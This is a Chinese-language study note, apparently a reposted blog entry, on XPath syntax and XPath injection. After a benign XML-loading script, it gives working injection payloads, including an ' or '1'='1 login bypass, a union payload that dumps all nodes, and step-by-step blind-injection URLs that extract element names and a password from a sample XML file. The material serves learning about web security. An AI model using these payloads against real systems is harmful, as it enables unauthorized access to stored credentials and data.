[NOTE] XPath及其注入
[NOTE] XPath及其注入
XPath
XPath是一門在XML文檔中查找信息的語言
這里學習基本知識及相關語法
一個加載XML文件,并使用XPath解析和查找元素的例子:
<!DOCTYPE html> <html> <body> <script> function loadXMLDoc(dname) {if (window.XMLHttpRequest) {// 加載XML文檔-步驟一xhttp=new XMLHttpRequest();} else {xhttp=new ActiveXObject("Microsoft.XMLHTTP");}// 加載XML文檔-步驟二xhttp.open("GET",dname,false);xhttp.send("");return xhttp.responseXML; }xml=loadXMLDoc("books.xml"); // XPath語法的字符串 path="/bookstore/book/title" // code for Mozilla, Firefox, Opera, etc. if (document.implementation && document.implementation.createDocument) {// 在evaluate()中使用XPathvar nodes=xml.evaluate(path, xml, null, XPathResult.ANY_TYPE, null);var result=nodes.iterateNext();while (result) {document.write(result.childNodes[0].nodeValue);document.write("<br>");result=nodes.iterateNext();} } </script> </body> </html>網頁的樣子:
Everyday Italian Harry Potter XQuery Kick Start Learning XMLXPath注入
參考:
- XPath注入
- xpath注入詳解
- XPath在線測試工具
指利用XPath解析器的松散輸入和容錯特性,能夠在URL、表單或其它信息上附帶惡意的XPath查詢代碼,以獲得權限信息的訪問權并更改這些信息
XPath注入發生在當站點使用用戶輸入的信息來構造請求以獲取XML數據
攻擊者對站點發送經過特殊構造的信息來探究站點使用的XML是如何構造的,從而進一步獲取正常途徑下無法獲取的數據
XPath不存在訪問控制,所以我們不會遇到許多在SQL注入中經常遇到的訪問限制
XML中沒有訪問控制或者用戶認證,如果用戶有權限使用XPath查詢,并且之間沒有防御系統或者查詢語句沒有被防御系統過濾,那么用戶就能夠訪問整個 XML 文檔
注入出現的位置常是cookie,headers,request parameters/input等
一個例子
假設有以下XPath查詢語句:
//users/user[loginID/text()='{id}' and password/text()='{pwd}']
要求傳入正確的id以及pwd才能返回正確的數據
那么就很像是SQL注入,兩個的payload:' or '1'='1,變成:
//users/user[loginID/text()='' or '1'='1' and password/text()='' or '1'='1']
就饒過登陸檢驗,成功獲取所有user數據
另外上面第二個參考資料那里有一些CTF賽題
看看能夠更好理解
再一個例子
假設有以下XPath查詢語句:
$query="user/username[@name='".$user."']";
那么payload:']|//*|ss[',變成:
$query="user/username[@name='']|//*|ss['']";
關鍵是,使用|符進行并列選擇,其中前后兩個都是為了閉合
中間那個//*列出文檔所有元素
XPath盲注
主要利用到了XPath中的一些字符串操作函數和運算符
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-qEpZyXuv-1639138862187)(D:\快樂之源\HACK學習\Chapter0[NOTE] DSVW靶場練習筆記.assets\1853528-20191110203831875-261157258.png)]
估計也和SQL盲注類似,正常的頁面回顯僅有兩種,只能區分查詢是否正確
于是就要結合各種邏輯判斷語句來進行逐級、逐節點以及逐字符等的猜解
除上表所列之外,下面補充一點常用函數(參考這里,打死不看官方文檔系列):
- name(node):返回參數節點的節點名稱
- number(arg):返回參數的數值(類似于ascii())
- abs(num):返回數值的絕對值
- string(arg):返回參數的字符串值
- concat(str, str, …):返回字符串的拼接
- string-join((str, str, …), sep):返回以sep為分隔符拼接的字符串
- substring(str, start, len=-1):返回分割后的字符串
- string-length(str):返回參數字符串的長度
- translate(str1, str2, str3):返回str1中str2替換成str3后的字符串
- escape-uri(strURI, true()/false()):返回URL編碼后的URL
- substring-before(str1, str2):返回str2在str1中出現之前的子字符串
- substring-after(str1, str2):類似上一個
- replace(str,pattern,replace):返回替換后的字符串
- count(item):返回節點數目
- position():返回當前正在被處理的節點的index位置
//book[position()=3] - last():返回在被處理的節點列表中的項目數目
//book[last()]
一個盲注例子
<?xml version="1.0" encoding="utf-8"?> <users><user id="0"><username>admin</username><name>admin</name><surname>admin</surname><password>7en8aiDoh!</password></user><user id="1"><username>dricci</username><name>dian</name><surname>ricci</surname><password>12345</password></user><user id="2"><username>amason</username><name>anthony</name><surname>mason</surname><password>gandalf</password></user><user id="3"><username>svargas</username><name>sandra</name><surname>vargas</surname><password>phest1945</password></user> </users>下面盲注猜解建議配合使用二分法
猜解當前節點的元素個數:
/?name=admin' and count(.//*)=4 and '1'='1
猜解第一個元素名稱的長度:
/?name=admin' and string-length(name(.//*[position()=1]))=8 and '1'='1
猜解第一個元素名稱的第一個字符:
/?name=admin' and substring(name(.//*[position()=1]),1,1)='u' and '1'='1
猜解第一個元素名稱:
/?name=admin' and name(.//*[position()=1])='username' and '1'='1
猜解第四個元素名稱:
/?name=admin' and name(.//*[position()=4])='password' and '1'='1
猜解第四個元素的值的長度:
/?name=admin' and string-length(.//password/text())=10 and '1'='1
猜解第四個元素的值的第一個字符(字符之間可以直接用大小與號比較):
/?name=admin' and substring(.//password/text(), 1, 1)='7' and '1'='1
猜解第四個元素的值:
/?name=admin' and .//password/text()='7en8aiDoh!' and '1'='1
以上盲注都是進入到與’admin’有關的特定范圍
是使用.//來選取當前節點
當然也可以使用/來從根元素選取節點
再注一下加深印象
只有一個根節點:
/?name=admin' and count(/*)=1 and '1'='1
根節點名稱長度為5:
/?name=admin' and string-length(name(/*[position()=1]))=5 and '1'='1
根節點名稱第一個字符為‘u’:
/?name=admin' and substring(name(/*[position()=1]),1,1)='u' and '1'='1
根節點名稱為“users”:
/?name=admin' and name(/*[position()=1])='users' and '1'='1
根節點下面有4個節點:
/?name=admin' and count(/users/*)=4 and '1'='1
/users下面第一個節點的名字是“user”:
/?name=admin' and name(/users/*[position()=1])='user' and '1'='1
第一個user節點下面有4個節點:
/?name=admin' and count(/users/user[position()=1]/*)=4 and '1'='1
如果某一結點下面沒有子節點,那么這樣子將會直接返回節點值:
/users/user[position()=1]/*[position()=1]匹配admin
因此葉子節點應該這樣提取節點名稱:
name(/users/user[position()=1]/*[position()=1])
所以第一個user節點的第四個(葉子)節點長度為8:
/?name=admin' and string-length(name(/users/user[position()=1]/*[position()=4]))=8 and '1'='1
第一個user節點的第四個(葉子)節點名稱的第一個字符為‘p’:
/?name=admin' and substring(name(/users/user[position()=1]/*[position()=4]),1,1)='p' and '1'='1
第一個user節點的第四個(葉子)節點名稱為“password”
/?name=admin' and name(/users/user[position()=1]/*[position()=4])='password' and '1'='1
/users/user[position()=1]/*[position()=4]這個匹配到password的值
下略BLABLABLA
總結
以上是生活随笔為你收集整理的[NOTE] XPath及其注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [NOTE] XMLHttpReques
- 下一篇: [NOTE] 关于DNSLog平台的使用